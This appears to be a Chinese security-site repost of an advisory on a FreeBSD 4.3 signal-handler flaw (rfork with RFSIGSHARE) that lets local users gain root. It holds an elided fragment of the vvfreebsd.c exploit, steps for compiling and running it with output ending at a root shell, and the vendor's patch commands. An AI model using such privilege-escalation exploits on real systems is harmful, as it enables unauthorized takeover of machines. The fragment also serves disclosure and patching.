您的位置:首页-> 网络冲浪-> 网络安全-> 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权

本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
作者:admin 时间:2005-3-1  来自:ASP教程  选择阅读文体:



发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
-------------vvfreebsd.c----------------------
/}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
kill(pid,MYSIG);
printf("done\n");
while(42);
}
...............................
.........................
.............
受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响
解决方案:
尚无
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
测试程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出补丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch



上一篇:计算机网络系统安全漏洞分类研究 下一篇:linux网站建立步骤

GoogLe中搜索“本地攻击者利用FreeBSD4.3设计漏洞取得系统特权”相关内容...
百 度 中搜索“本地攻击者利用FreeBSD4.3设计漏洞取得系统特权”相关内容...
一 搜 中搜索“本地攻击者利用FreeBSD4.3设计漏洞取得系统特权”相关内容...

相关文章

网页浏览
病毒快报
防范措施
局域网专栏
网络安全
网络其他
系统安全
初学上网
黑客天空
网关代理
服务器
网络技术
提升QQ等级 QQ挂机升级外挂
国内首发 韩国版QQ自定义头像
挖掘Windows XP系统安装盘中的神秘宝藏
初见photoshop8.0的庐山真面目!
BT下载速度之战:Bitcomet对决比特精灵
腾讯最新漏洞-------QQ红钻任你拿
Windows XP 的安装
如何制作万能DVD
浅谈Windows XP SP2补丁包的安装及使用
RM,RMVB转VCD
网页加密和破解篇
一、如何在QQ/ICQ中隐藏IP地址
制作网页木马
利用Microsoft.XMLHTTP控件发送COOKIE
网络安全的若干问题
ASP网络安全
端口详解(3)-源端口
网络加、解密的技术应用
如何确保应用系统的安全
nc.exe高级技巧应用汇总